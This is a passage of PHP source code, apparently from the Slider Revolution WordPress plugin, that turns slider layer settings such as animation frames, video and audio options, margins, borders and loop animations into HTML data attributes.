				$ign = !in_array($frame, array('frame_hover', 'frame_0'), true);
				if($at === true && $trg === true && $ign === true){
					$_frames[$frame]['base']['st'] = 'a';
				}
			}

			foreach($_frames as $frame => $zone){
				if($frame !== 'frame_0' && in_array($this->get_val($layer, 'type', 'text'), array('group', 'row', 'column'), true)){
					if(!isset($start_cache[$frame])) $start_cache[$frame] = $this->get_val($_frames, array($frame, 'base', 'st'));

					if(isset($_frames[$frame]['base']['st']) && !is_numeric($_frames[$frame]['base']['st'])){
						$_frames[$frame]['base']['sA'] = ($frame !== 'frame_999') ? $start_cache[$frame] : $start_cache_999;
					}
				}
			}

			//if Out Animation set to "auto reverse" 
			if($this->get_val($frames, array('frame_999', 'timeline', 'auto'), false)){
				$_frames['frame_999']['base'] = array(
					'st'	=> $this->get_val($_frames, array('frame_999', 'base', 'st')),
					'sp'	=> $this->get_val($_frames, array('frame_999', 'base', 'sp')),
					'sR'	=> $this->get_val($_frames, array('frame_999', 'base', 'sR')),
					'auto'	=> 'true'
				);
			}

			//st is only available in frame_1 ... 999, so remove it from frame_0 if it exists
			if(isset($_frames['frame_0']) && isset($_frames['frame_0']['base'])){
				if(isset($_frames['frame_0']['base']['st'])){
					unset($_frames['frame_0']['base']['st']);
				}
				if(isset($_frames['frame_0']['base']['sR'])){
					unset($_frames['frame_0']['base']['sR']);
				}
				if(isset($_frames['frame_0']['base']['sp'])){
					unset($_frames['frame_0']['base']['sp']);
				}
			}

		}

		/**
		 * as we only show the layer on slide hover
		 * set the frame_1 and frame_999 st to 'a'
		 **/
		if($this->get_val($layer, array('visibility', 'onlyOnSlideHover'), false) === true){
			if(!isset($_frames['frame_1'])) $_frames['frame_1'] = array();
			if(!isset($_frames['frame_999'])) $_frames['frame_999'] = array();
			if(!isset($_frames['frame_1']['base'])) $_frames['frame_1']['base'] = array();
			if(!isset($_frames['frame_999']['base'])) $_frames['frame_999']['base'] = array();

			$_frames['frame_1']['base']['st'] = 'a';
			$_frames['frame_999']['base']['st'] = 'a';
		}

		return $_frames;
	}
	
	/**
	 * transform certain values into a different format for output
	 **/
	public function transform_frame_vals($nv){
		if(strpos($nv, '{') !== false){
			$nv = str_replace(array('{', '}'), '', $nv);
			$nv = str_replace(',', '|', $nv);
			$nv = 'ran('.$nv.')';
		}
		if(strpos($nv, '[') !== false){
			$nv = str_replace(array('[', ']'), '', $nv);
			$nv = str_replace(',', '|', $nv);
			$nv = 'cyc('.$nv.')';
		}
		return $nv;
	}
	
	/**
	 * get the layer frames HTML
	 **/
	public function get_html_clip(){
		$layer = $this->get_layer();
		$html = 'data-clip="';
		
		if($this->get_val($layer, array('timeline', 'clipPath', 'use')) === true){
			$html .= 'u:true;';
			$type = $this->get_val($layer, array('timeline', 'clipPath', 'type'), 'rectangle');
			$origin = $this->get_val($layer, array('timeline', 'clipPath', 'origin'), 'l');
			
			$html .= ($type !== 'rectangle') ? 't:'.$type.';' : '';
			$html .= ($origin !== 'l') ? 'o:'.$origin.';' : '';
		}
		
		$html .= '"';
		
		return ($html !== 'data-clip=""') ? $html : '';
	}
	
	/**
	 * get the layer frames HTML
	 **/
	public function get_html_frames($frames){
		$html = '';
		
		if(!empty($frames)){
			foreach($frames as $base => $_frame){
				if(!empty($_frame)){
					foreach($_frame as $_base => $values){
						$s = '';
						if(empty($values)) continue;
						foreach($values as $k => $v){
							if(is_bool($v)){
								$v = ($v === true) ? 'true' : 'false';
							}
							$s .= ($v !== '') ? $k.':'.$v.';' : '';
						}
						if($s !== ''){
							$_base = ($_base === 'base') ? '' : '_'.$_base;
							if($html !== '') $html .= $this->ld().RS_T8;
							$html .= 'data-'.$base.$_base.'="'.$s.'"'."\n";
						}
					}
				}
			}
		}
		
		return $html;
	}
	
	/**
	 * add html blendmode
	 **/
	public function get_html_blendmode(){
		$layer = $this->get_layer();
		$blendmode = $this->get_val($layer, array('idle', 'filter', 'blendMode'), 'normal');
		return ($blendmode !== 'normal') ? 'data-blendmode="'.$blendmode.'"' : '';
	}
	
	/**
	 * add the spike html data
	 * @since: 6.0
	 **/
	public function get_html_spike_data(){
		$layer = $this->get_layer();
		$html = 'data-spike="';
		
		if($this->get_val($layer, array('idle', 'spikeUse'), false) === true){
			$l = $this->get_val($layer, array('idle', 'spikeLeft'), 'none');
			$r = $this->get_val($layer, array('idle', 'spikeRight'), 'none');
			$lw = $this->get_val($layer, array('idle', 'spikeLeftWidth'), 10);
			$rw = $this->get_val($layer, array('idle', 'spikeRightWidth'), 10);
			if($l !== 'none') $html .= 'l:'.$l.';';
			if($r !== 'none') $html .= 'r:'.$r.';';
			if(!in_array($lw, array(10, '10', '10%'), true)) $html .= 'lw:'.$lw.';';
			if(!in_array($rw, array(10, '10', '10%'), true)) $html .= 'rw:'.$rw.';';
		}
		
		$html .= '"';
		
		return ($html !== 'data-spike=""') ? $html : '';
	}
	
	/**
	 * add the text stroke html data
	 * @since: 6.1.2
	 **/
	public function get_html_text_stroke(){
		$layer = $this->get_layer();
		$html = 'data-tst="';
		
		if($this->get_val($layer, array('idle', 'textStroke', 'inuse'), false) === true){
			if($this->adv_resp_sizes == true){
				$w = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textStroke', 'width')), $this->enabled_sizes, 'html-array', array('1px'));
			}else{
				$w = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textStroke', 'width')), $this->enabled_sizes, '1px');
			}
			$c = $this->get_val($layer, array('idle', 'textStroke', 'color'), 'rgba(0,0,0,0.25)');
			if(!in_array(trim($w), array(1, '1', '1px', ''), true)) $html .= 'w:'.$w.';';
			if($c !== 'rgba(0,0,0,0.25)') $html .= 'c:'.$c.';';
		}
		
		$html .= '"';
		
		return ($html !== 'data-tst=""') ? $html : '';
	}
	
	/**
	 * add frameorder
	 **/
	public function get_html_frameorder(){
		$layer = $this->get_layer();
		$frameorder = $this->get_val($layer, array('timeline', 'frameOrder'), '');
		if($frameorder !== ''){
			$fo = '';
			foreach($frameorder as $frames){
				$fo .= $this->get_val($frames, 'id').';';
			}
			$frameorder = $fo;
		}
		return ($frameorder === 'frame_1;frame_999;' || $frameorder === 'frame_0;frame_1;frame_999;' || $frameorder === '') ? '' : 'data-ford="'.$frameorder.'"';
	}

	/**
	 * add html hideunder
	 **/
	public function get_html_hideunder(){
		$layer = $this->get_layer();
		return ($this->get_val($layer, array('visibility', 'hideunder')) === true) ? 'data-layeronlimit="on"' : '';
	}
	
	/**
	 * add audio html params here
	 **/
	public function get_html_audio_data(){
		$data	= array('video' => array());
		$layer	= $this->get_layer();
		
		if($this->get_val($layer, 'type', 'text') !== 'audio') return '';
		
		$vw	 = $this->get_val($layer, array('size', 'width'));
		$vh	 = $this->get_val($layer, array('size', 'height'));
		$vpl = $this->get_val($layer, array('media', 'preload'), 'auto');
		$sta = $this->get_val($layer, array('media', 'startAt'), -1);
		$end = $this->get_val($layer, array('media', 'endAt'), -1);
		$mp4 = esc_attr($this->remove_http($this->get_val($layer, array('media', 'audioUrl'))));
		$vl	 = $this->get_val($layer, array('media', 'loop'), true);
		$vpt = $this->get_val($layer, array('media', 'pausetimer'), false);
		$vpt = (in_array($vl, array('loop', 'none'), true)) ? true : $vpt;
		$ap	 = $this->get_val($layer, array('media', 'autoPlay'), 'true');
		$frw = $this->get_val($layer, array('media', 'forceRewind'), true);
		$vc	 = $this->get_val($layer, array('media', 'controls'), false);
		$nse = $this->get_val($layer, array('media', 'nextSlideAtEnd'), true);
		$sav = $this->get_val($layer, array('media', 'stopAllVideo'), true);
		$volume	 = $this->get_val($layer, array('media', 'volume'), 100);
		$mute	 = $this->get_val($layer, array('media', 'mute'), true);
		
		if($this->adv_resp_sizes == true){
			$data['video']['w'] = $this->normalize_device_settings($vw, $this->enabled_sizes, 'html-array', array(54));
			$data['video']['h'] = $this->normalize_device_settings($vh, $this->enabled_sizes, 'html-array', array(54));
		}else{
			$data['video']['w'] = $this->get_biggest_device_setting($vw, $this->enabled_sizes);
			$data['video']['h'] = $this->get_biggest_device_setting($vh, $this->enabled_sizes);
		}
		//if(!in_array($vpl, array('', 'auto'), true)){
			$data['video']['p'] = $vpl;
			//$plw = intval($this->get_val($layer, array('media', 'preloadWait'), 5));
			//if(!in_array($plw, array('5', 5), true)) $data['video']['pw'] = $plw;
		//}
		if(!in_array($sta, array('', '-1', -1), true)) $data['video']['sta'] = $sta;
		if(!in_array($end, array('', '-1', -1), true)) $data['video']['end'] = $end;
		if(!empty($mp4))	$data['mp4'] = $mp4;
		if(!in_array($ap, array('true', true), true)) $data['video']['ap'] = $ap;
		if($frw === false)	$data['video']['rwd'] = false;
		if($vc === true)	$data['video']['vc'] = true;
		if($nse === false)	$data['video']['nse'] = false;
		if($sav === false)	$data['video']['sav'] = false;
		if($mute !== true)	$data['video']['v'] = $volume;
		$data['video']['l'] = $vl;
		$data['video']['vd'] = $volume;
		$data['video']['ptimer'] = $vpt;

		$html = '';
		if(!empty($data)){
			foreach($data as $k => $d){
				if(empty($d)) continue;
				$html .= $this->ld().RS_T8.'data-'.$k.'="';
				if(is_array($d)){
					foreach($d as $kk => $dd){
						$html .= $kk.':';
						$html .= $this->write_js_var($dd, '');
						$html .= ';';
					}
				}else{
					$html .= $this->write_js_var($d, '');
				}
				$html .= '"'."\n";
			}
		}
		
		return $html;
	}
	
	/**
	 * get the HTML video data attributes
	 **/
	public function get_html_video_data(){
		$layer	= $this->get_layer();
		$data	= array('video' => array());
		
		if($this->get_val($layer, 'type', 'text') !== 'video') return '';
		$video_type = trim($this->get_val($layer, array('media', 'mediaType')));
		$video_type = ($video_type === '') ? 'html5' : $video_type;
		
		if(!in_array($video_type, array('streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo', 'streaminstagram', 'streaminstagramboth', 'html5'), true)) return '';
		
		if($video_type === 'html5') $data['video']['vfc'] = $this->get_val($layer, array('media', 'fitCover'), true);
		$http	 = (is_ssl()) ? 'https://' : 'http://';
		$vid	 = trim($this->get_val($layer, array('media', 'id')));
		$mute	 = $this->get_val($layer, array('media', 'mute'), true);
		$volume	 = $this->get_val($layer, array('media', 'volume'), 100);
		$vargs	 = trim($this->get_val($layer, array('media', 'args')));
		$control = $this->get_val($layer, array('media', 'controls'), false);
		$sta	 = $this->get_val($layer, array('media', 'startAt'));
		$end	 = $this->get_val($layer, array('media', 'endAt'));
		$vl		 = $this->get_val($layer, array('media', 'loop'), true);
		$vpt	 = $this->get_val($layer, array('media', 'pausetimer'), false);
		$vpt	 = (in_array($vl, array('loop', 'none'), true)) ? true : $vpt;
		$poch	= $this->get_val($layer, array('media', 'pauseOnSlideChange'), false);
		$autoplay	= $this->get_val($layer, array('media', 'autoPlay'), 'true');
		$nextslide	= $this->get_val($layer, array('media', 'nextSlideAtEnd'), true);
		$poster	 = $this->remove_http($this->get_val($layer, array('media', 'posterUrl'), ''));
		$poster_change = $this->get_val($layer, array('behavior', 'imageSourceType'), 'full');
		$poster_id	= $this->remove_http($this->get_val($layer, array('media', 'posterId')));
		if($mute !== true) $data['video']['twa'] = $mute; // Set twa before checking autoplay
		$mute	 = (!in_array($autoplay, array('false', false), true)) ? true : $mute;
		
		if(!in_array($autoplay, array('true', true), true)) $data['video']['ap'] = $autoplay;
		if($mute !== true) $data['video']['v'] = $volume;
		$data['video']['vd'] = $volume;
		if(!in_array($sta, array('', '-1', -1), true)) $data['video']['sta'] = $sta;
		if(!in_array($end, array('', '-1', -1), true)) $data['video']['end'] = $end;
		if($poch === true) $data['video']['poch'] = $poch;
		if($this->get_val($layer, array('media', 'posterOnPause'), false) !== false) $data['video']['scop'] = 't';
		if($this->get_val($layer, array('media', 'forceRewind'), true) !== true) $data['video']['rwd'] = 'f';
		if($this->get_val($layer, array('media', 'nointeraction'), false) !== false) $data['video']['noint'] = 't';
		
		if($this->get_val($layer, array('size', 'covermode'), 'custom') === 'cover-proportional'){
			$ratio = $this->get_val($layer, array('media', 'ratio'));
			$data['video']['fc'] = true;
			if(!in_array($ratio, array('16:9', ''), true)) $data['video']['ar'] = $ratio;
		}

		$dotted	= $this->get_val($layer, array('media', 'dotted'));
		if(!in_array($dotted, array('none', ''), true)){
			$data['video']['do'] = $dotted;
			$doca	= $this->get_val($layer, array('media', 'dottedColorA'), 'transparent');
			$docb	= $this->get_val($layer, array('media', 'dottedColorB'), '#000000');
			$dos	= $this->get_val($layer, array('media', 'dottedSize'), 1);
			
			if($doca !== 'transparent') $data['video']['doca'] = $doca;
			if(!in_array($docb, array('', '#000000', '#000'), true)) $data['video']['docb'] = $docb;
			if(!in_array($dos, array('', '1', 1), true)) $data['video']['dos'] = $dos;
		}
		
		$data['video']['l'] = $vl;
		$data['video']['ptimer'] = $vpt;
		if($nextslide === false) $data['video']['nse'] = 'f';
		if($this->get_val($layer, array('media', 'stopAllVideo'), true) === false) $data['video']['sav'] = 'f';
		if($this->get_val($layer, array('media', 'allowFullscreen'), true) === false) $data['video']['afs'] = 'f';
		if(!empty($poster)){
			if($poster_change !== 'full' && $poster !== false && !empty($poster)){
				$_img = wp_get_attachment_image_src($poster, $poster_change);
				$poster = ($_img !== false) ? $_img[0] : $poster;
			}
			$data['poster'] = $poster;
			if($this->get_val($layer, array('media', 'disableOnMobile'), false) === true) $data['video']['npom'] = 't';
			if($this->get_val($layer, array('media', 'posterOnMobile'), false) === true) $data['video']['opom'] = 't';
		}
		
		switch($video_type){
			case 'streamyoutube':
			case 'streamyoutubeboth':
			case 'youtube':
				$vid	= (in_array($video_type, array('streamyoutube', 'streamyoutubeboth'), true)) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; //change $vid to the stream!
				$vid	= ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid;
				$vargs	= (empty($vargs)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $vargs;
				$sp		= $this->get_val($layer, array('media', 'speed'), 1);
				$inl	= $this->get_val($layer, array('media', 'playInline'), true);
				
				if(!$mute) $vargs = 'volume='.intval($volume).'&'.$vargs;
				if($sta !== ''){
					$start_raw = explode(':', $sta);
					if(count($start_raw) == 2){
						$sta = (intval($start_raw[0]) > 0) ? $start_raw[0]*60 + $start_raw[1] : $start_raw[1];
					}
					$vargs .= ($sta !== '') ? '&start='.$sta : '';
				}
				if($end !== ''){
					$end_raw = explode(':', $end);
					if(count($end_raw) == 2){
						$end = (intval($end_raw[0]) > 0) ? $end_raw[0]*60 + $end_raw[1] : $end_raw[1];
					}
					$vargs .= ($end !== '') ? '&end='.$end : '';
				}
				$vargs .= '&amp;origin='.$http.$_SERVER['SERVER_NAME'].';';
				if($control === true) $data['video']['vc'] = 't';
				if(strpos($vid, 'http') !== false){ //check if full URL
					parse_str(parse_url($vid, PHP_URL_QUERY), $my_v_ret); //we have full URL, split it to ID
					$vid = $my_v_ret['v'];
				}
				
				$this->youtube_exists = (empty($vid)) ? $this->youtube_exists : true;
				$data['ytid'] = $vid;
				$data['vatr'] = 'version=3&amp;enablejsapi=1&amp;html5=1&amp;'.$vargs;
				if(!in_array($sp, array('1', 1), true)) $data['video']['sp'] = $sp;
				if($inl === false) $data['video']['inl'] = 'f';
			break;
			case 'streamvimeo':
			case 'streamvimeoboth':
			case 'vimeo':
				$vid = (in_array($video_type, array('streamvimeo', 'streamvimeoboth'), true)) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid;
				$vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid;
				$vid = (strpos($vid, 'http') !== false) ? (int) substr(parse_url($vid, PHP_URL_PATH), 1) : $vid; //check if full URL //we have full URL, split it to ID
				$vargs = str_replace(array('&background=1', '&background=0', 'background=1', 'background=0'), '', $vargs);
				$vargs = (empty($vargs)) ? RevSliderFront::VIMEO_ARGUMENTS : $vargs;
				$vargs = (!$control) ? 'background=1&'.$vargs : $vargs;
				
				$data['vimeoid'] = $vid;
				$data['vatr'] = $vargs;
				$data['video']['vc'] = $control;
			break;
			case 'streaminstagram':
			case 'streaminstagramboth':
			case 'html5':
				$ogv = $this->get_val($layer, array('media', 'ogvUrl'), '');
				$webm = $this->get_val($layer, array('media', 'webmUrl'), '');
				$mp4 = $this->remove_http($this->get_val($layer, array('media', 'mp4Url'), ''));
				$mp4 = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'mpeg'), '') : $mp4;
				$vpr = $this->get_val($layer, array('media', 'preload'), 'auto');
				$inl = $this->get_val($layer, array('media', 'playInline'), true);

				if($control === true) $data['video']['vc'] = 't';
				if(!empty($ogv))$data['videoogv'] = $ogv;
				if(!empty($webm)) $data['videowebm'] = $webm;
				if(!empty($mp4)) $data['mp4'] = $mp4;
				if(!in_array($vpr, array('', 'auto'), true)) $data['video']['p'] = $vpr;
				if($inl === false) $data['video']['inl'] = 'f';
			break;
		}
		
		if(isset($data['vatr'])){
			$data['vatr'] = str_replace('&amp;', '&', $data['vatr']);
			$data['vatr'] = str_replace('&', '&amp;', $data['vatr']);
			$data['vatr'] = str_replace(';&amp;', '&amp;', $data['vatr']);
			$data['vatr'] = str_replace(';;', ';', $data['vatr']);
		}
		
		$html = '';
		if(!empty($data)){
			foreach($data as $k => $d){
				if(empty($d)) continue;
				$html .= $this->ld().RS_T8.'data-'.$k.'="';
				if(is_array($d)){
					foreach($d as $kk => $dd){
						$html .= $kk.':';
						$html .= $this->write_js_var($dd, '');
						$html .= ';';
					}
				}else{
					$html .= $this->write_js_var($d, '');
				}
				$html .= '"'."\n";
			}
		}
		
		return $html;
	}
	
	/**
	 * get the covermode HTML data
	 **/
	public function get_html_covermode_data(){
		$layer	= $this->get_layer();		
		$covermode	= $this->get_val($layer, array('size', 'covermode'),'custom');
		return ($covermode === 'fullinset') ? 'data-fullinset="true"' : '';
	}

	/**
	 * get the column HTML data
	 **/
	public function get_html_column_data(){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$data	= 'data-column="';
		
		if($type === 'column'){
			$size_raw = explode('/', $this->get_val($layer, array('group', 'columnSize'), '1/3'));
			$size	= (count($size_raw) !== 2) ? '100' : round(100 * ((int)$size_raw[0] / (int)$size_raw[1]), 2);
			$data .= (!in_array($size, array('', '33,33', '33.33', 33.33), true)) ? 'w:'.$size.'%;' : '';
		}
		if(in_array($type, array('column', 'group'), true)){
			$va		= $this->get_val($layer, array('idle', 'verticalAlign'), 'top');
			$data .= ($va !== 'top') ? 'a:'.$va.';' : '';
		}

		$data .= '"';
		
		return ($data !== 'data-column=""') ? $data : '';
	}
	
	/**
	 * check if in the layer actions an action has an trigger
	 **/
	public function get_html_margin_data($row_group_uid){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$data	= 'data-margin="';
		
		//add margin data attributes
		//if($type == 'row' || $type == 'column' || $row_group_uid !== false){
			$margins	= $this->get_val($layer, array('idle', 'margin'));
			$rl_margin	= array();
			
			$margin_vals = $this->normalize_device_settings($margins, $this->enabled_sizes, 'obj', array(0));
			foreach($margin_vals as $margin){
				if(!empty($margin)){
					foreach($margin as $mkey => $mar){
						$rl_margin[$mkey][] = $mar;
					}
				}
			}
			if(!empty($rl_margin)){
				$mnames = array('t', 'r', 'b', 'l');
				for($i=0; $i<4; $i++){
					if(isset($rl_margin[$i])){
						if(is_array($rl_margin[$i])){
							if(count(array_unique($rl_margin[$i])) === 1){
								$m = reset($rl_margin[$i]);
								$mm = str_replace(array('%', 'px'), '', $m);
								if($mm !== '0' && $mm !== ''){
									$data .= $mnames[$i].':'.$m.';';
								}
							}else{
								$data .= $mnames[$i].':'.implode(',', $rl_margin[$i]).';';
							}
						}else{
							$mm = str_replace(array('%', 'px'), '', $rl_margin[$i]);
							if($mm !== '0' && $mm !== ''){
								$data .= $mnames[$i].':'.$rl_margin[$i].';';
							}
						}
					}
				}
			}
	//	}
		
		$data .= '"';
		
		return ($data !== 'data-margin=""') ? $data : '';
	}
	
	/**
	 * get padding html data
	 **/
	public function get_html_padding_data(){
		$layer		= $this->get_layer();
		$paddings	= $this->get_val($layer, array('idle', 'padding'));
		$data		= 'data-padding="';
		$rl_padding = array();
		
		$padding_vals = $this->normalize_device_settings($paddings, $this->enabled_sizes, 'obj', array(0));
		foreach($padding_vals as $padding){
			if(!empty($padding)){
				foreach($padding as $mkey => $mar){
					$rl_padding[$mkey][] = str_replace(array('px', '%'), '', $mar);
				}
			}
		}
		if(!empty($rl_padding)){
			$mnames = array('t', 'r', 'b', 'l');
			for($i=0;$i<4;$i++){
				if(isset($rl_padding[$i])){
					if(is_array($rl_padding[$i])){
						if(count(array_unique($rl_padding[$i])) === 1){
							$m = reset($rl_padding[$i]);
							$mm = str_replace(array('%', 'px'), '', $m);
							if($mm !== '0' && $mm !== ''){
								$data .= $mnames[$i].':'.$m.';';
							}
						}else{
							$data .= $mnames[$i].':'.implode(',', $rl_padding[$i]).';';
						}
					}else{
						$mm = str_replace(array('%', 'px'), '', $rl_padding[$i]);
						if($mm !== '0' && $mm !== ''){
							$data .= $mnames[$i].':'.$rl_padding[$i].';';
						}
					}
				}
			}
		}
		
		$data .= '"';
		return ($data !== 'data-padding=""') ? $data : '';
	}
	
	/**
	 * get padding html data
	 **/
	public function get_html_border_data(){
		$layer		= $this->get_layer();
		$data		= 'data-border="';
		$style		= array();
		
		if($this->adv_resp_sizes == true){
			$style['bos'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'borderStyle'), 'none'), $this->enabled_sizes, 'html-array', array('none'));
		}else{
			$style['bos'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'borderStyle'), 'none'), $this->enabled_sizes);
		}
		$style['boc'] = $this->get_val($layer, array('idle', 'borderColor'));
		$style['bow'] = $this->get_val($layer, array('idle', 'borderWidth'), '0px');
		$style['bow'] = (is_array($style['bow']) || is_object($style['bow'])) ? implode(',', (array)$style['bow']) : $style['bow'];
		$style['bor'] = $this->get_val($layer, array('idle', 'borderRadius', 'v'));
		$style['bor'] = (is_array($style['bor']) || is_object($style['bor'])) ? implode(',', (array)$style['bor']) : $style['bor'];
		
		if(in_array($style['bow'], array(0, '0px', '0px,0px,0px,0px', '0', '0,0,0,0'), true) || in_array($style['bos'], array('', 'none'))){
			unset($style['bow']);
			unset($style['boc']);
			unset($style['bos']);
		}
		
		if(in_array($style['bor'], array(0, '0px', '0px,0px,0px,0px', '0', '0,0,0,0'), true)){
			unset($style['bor']);
		}
		
		if(!empty($style)){
			foreach($style as $k => $v){
				if(trim($v) !== ''){
					$data .= $k.':'.$v.';';
				}
			}
		}
		
		$data .= '"';
		return ($data !== 'data-border=""') ? $data : '';
	}
	
	/**
	 * get the background image
	 **/
	public function get_background_image(){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$add	= '';
		$image	= '<rs-bg-elem style="';
		//check for background images
		if(in_array($type, array('shape', 'row', 'group'), true)){
			$url_image = $this->get_val($layer, array('idle', 'backgroundImage'), '');
			
			// Replace image when featured image is in use
			if($this->get_val($layer, array('idle', 'bgFromStream')) === true){ //if image is choosen, use featured image as background
				$stream_background_image = $this->get_stream_background_image($layer);	
				$url_image = $stream_background_image['url'] ;
			}

			if($url_image !== ''){ //add background image
				$objlib = new RevSliderObjectLibrary();
				$objlib->_check_object_exist($url_image);
				
				if(in_array($type, array('group', 'shape', 'row'))){
					
					$global = $this->get_global_settings();
					$lazyloadbg = $this->get_val($global, 'lazyonbg', false);
					if($lazyloadbg !== false && $lazyloadbg !== 'false'){
						$add .= ' data-bglazy="'. $this->remove_http($url_image) .'"';
						$url_image = RS_PLUGIN_URL.'public/assets/assets/dummy.png';
					}

					$image .= "background: url('".$this->remove_http($url_image)."')";
					$image .= ' '.$this->get_val($layer, array('idle', 'backgroundRepeat'), 'no-repeat');
					$image .= ' '.$this->get_val($layer, array('idle', 'backgroundPosition'), 'center center');
					$image .= ';';
					$bgs	= $this->get_val($layer, array('idle', 'backgroundSize'), 'cover');
					$bgs	= ($bgs === 'percentage') ? $this->get_val($layer, array('idle', 'backgroundSizePerc'), '100').'%' : $bgs;
					$bgs	= ($bgs === 'pixel') ? $this->get_val($layer, array('idle', 'backgroundSizePix'), '100').'px' : $bgs;
					$image .= ' background-size: '.$bgs.';';
				}
			}
		}
		$image .= '"'. $add .'></rs-bg-elem>';
		
		return ($image !== '<rs-bg-elem style=""></rs-bg-elem>') ? $image : '';
	}

	/**
	 * get stream background image for layer
	 * @since: 6.2.0
	 **/
	public function get_stream_background_image($layer){
		$bgi = array('id' => '', 'size' => '', 'url' => '');
		$slide = $this->get_slide();
		
		if($this->slider->get_param('sourcetype') !== 'gallery'){
			if(in_array($this->slider->get_param('sourcetype'), array('post', 'woo', 'woocommerce'), true)){
				$bgi['id'] = get_post_thumbnail_id($slide->get_id());
				if(!empty($bgi['id'])){
					$bgi['size']	= $this->get_val($layer, array('behavior', 'streamSourceType'), 'full');
					$thumbnail_url	= wp_get_attachment_image_src($bgi['id'], $bgi['size']);
					$bgi['url']		= ($thumbnail_url !== false) ? $this->get_val($thumbnail_url, 0) : $bgi['url'];
				}
			}else{
				$bgi['id']	 = $slide->get_id();
				$bgi['size'] = 'full';
				$bgi['url']	 = $this->get_val($layer, array('media', 'imageUrl'), '');
			}
		}
		
		return $bgi;
	}

	/**
	 * get the layer loop animation data
	 **/
	public function get_loop_data(){
		$layer	= $this->get_layer();
		$loop	= array('loop_0' => '', 'loop_999' => ''); //needs to be pushed as loop_* in frontend
		$loop_keys	= array('frame_0' => '', 'frame_999' => ''); //stored as frame_* in database
		
		if($this->get_val($layer, array('timeline', 'loop', 'use'), false) === true){
			
			$e	 = $this->get_val($layer, array('timeline', 'loop', 'ease'), 'none');
			$this->easings[$e] = $e;
			$sp	 = $this->get_val($layer, array('timeline', 'loop', 'speed'), 1000);
			$rA	 = $this->get_val($layer, array('timeline', 'loop', 'radiusAngle'), 0);
			$crns = $this->get_val($layer, array('timeline', 'loop', 'curviness'), 2);
			$crd = $this->get_val($layer, array('timeline', 'loop', 'curved'), false);
			$yym = $this->get_val($layer, array('timeline', 'loop', 'yoyo_move'), false);
			$yyr = $this->get_val($layer, array('timeline', 'loop', 'yoyo_rotate'), false);
			$yys = $this->get_val($layer, array('timeline', 'loop', 'yoyo_scale'), false);
			$yyf = $this->get_val($layer, array('timeline', 'loop', 'yoyo_filter'), false);
			$rep = $this->get_val($layer, array('timeline', 'loop', 'repeat'), '-1');
			$st	 = $this->get_val($layer, array('timeline', 'loop', 'start'), 740);
			$aR	 = $this->get_val($layer, array('timeline', 'loop', 'autoRotate'), false);
			$oX	 = $this->get_val($layer, array('timeline', 'loop', 'originX'), '50%');
			$oY	 = $this->get_val($layer, array('timeline', 'loop', 'originY'), '50%');
			$oZ	 = $this->get_val($layer, array('timeline', 'loop', 'originZ'), '0');
			
			//every loop frame needs this
			$all_keys = array(
				'xr'		 => array('n' => 'xR', 'd' => array(0, '0', '0px', '')),
				'yr'		 => array('n' => 'yR', 'd' => array(0, '0', '0px', '')),
				'zr'		 => array('n' => 'zR', 'd' => array(0, '0', '0px', '')),
				'x'			 => array('n' => 'x', 'd' => array(0, '0px', '', '0', '0%')),
				'y'			 => array('n' => 'y', 'd' => array(0, '0px', '', '0', '0%')),
				'z'			 => array('n' => 'z', 'd' => array(0, '0px', '', '0', '0%')),
				'scaleX'	 => array('n' => 'sX', 'd' => 1),
				'scaleY'	 => array('n' => 'sY', 'd' => 1),
				'opacity'	 => array('n' => 'o', 'd' => 1),
				'rotationX'	 => array('n' => 'rX', 'd' => array(0, '0', '0deg')),
				'rotationY'	 => array('n' => 'rY', 'd' => array(0, '0', '0deg')),
				'rotationZ'	 => array('n' => 'rZ', 'd' => array(0, '0', '0deg')),
				'skewX'		 => array('n' => 'skX', 'd' => array(0, '0', '0px', '')),
				'skewY'		 => array('n' => 'skY', 'd' => array(0, '0', '0px', '')),
				'blur'		 => array('n' => 'blu', 'd' => 0),
				'brightness' => array('n' => 'bri', 'd' => 100),
				'grayscale'	 => array('n' => 'gra', 'd' => 0)
			);
			
			if($crd === false){
				unset($all_keys['xr']);
				unset($all_keys['yr']);
				unset($all_keys['zr']);
			}
			
			foreach($loop_keys as $l => $lv){
				$_l = str_replace('frame_', 'loop_', $l);
				foreach($all_keys as $key => $v){
					$d = (is_array($v['d'])) ? $v['d'][0] : $v['d'];
					
					$nv = $this->get_val($layer, array('timeline', 'loop', $l, $key), $d);
					if(is_array($v['d'])){
						if(!in_array($nv, $v['d'], true)){
							$loop[$_l] .= $v['n'].':'.$nv.';';
						}
					}else{
						if((string)$nv !== (string)$v['d']){
							$loop[$_l] .= $v['n'].':'.$nv.';';
						}
					}
				}
			}
			
			//these are the special settings for certain loop frames only
			$loop['loop_0'] .= ($oX !== '50%') ? 'oX:'.$oX.';' : '';
			$loop['loop_0'] .= ($oY !== '50%') ? 'oY:'.$oY.';' : '';
			$loop['loop_0'] .= ($oZ !== '0') ? 'oZ:'.$oZ.';' : '';
			
			$loop['loop_999'] .= ($aR !== false) ? 'aR:t;' : '';
			$loop['loop_999'] .= ($crd !== false) ? 'crd:t;' : '';
			if($crd !== false){
				$loop['loop_999'] .= ($crns !== 2 && $crns !== '') ? 'crns:'.$crns.';' : '';
				$loop['loop_999'] .= ($rA !== 0 && $rA !== '') ? 'rA:'.$rA.';' : '';
			}
			$loop['loop_999'] .= ($sp !== 1000 && $sp !== '') ? 'sp:'.$sp.';' : '';
			$loop['loop_999'] .= ($st !== 740 && $st !== '') ? 'st:'.$st.';' : '';
			$loop['loop_999'] .= ($e !== 'none' && $e !== '') ? 'e:'.$e.';' : '';
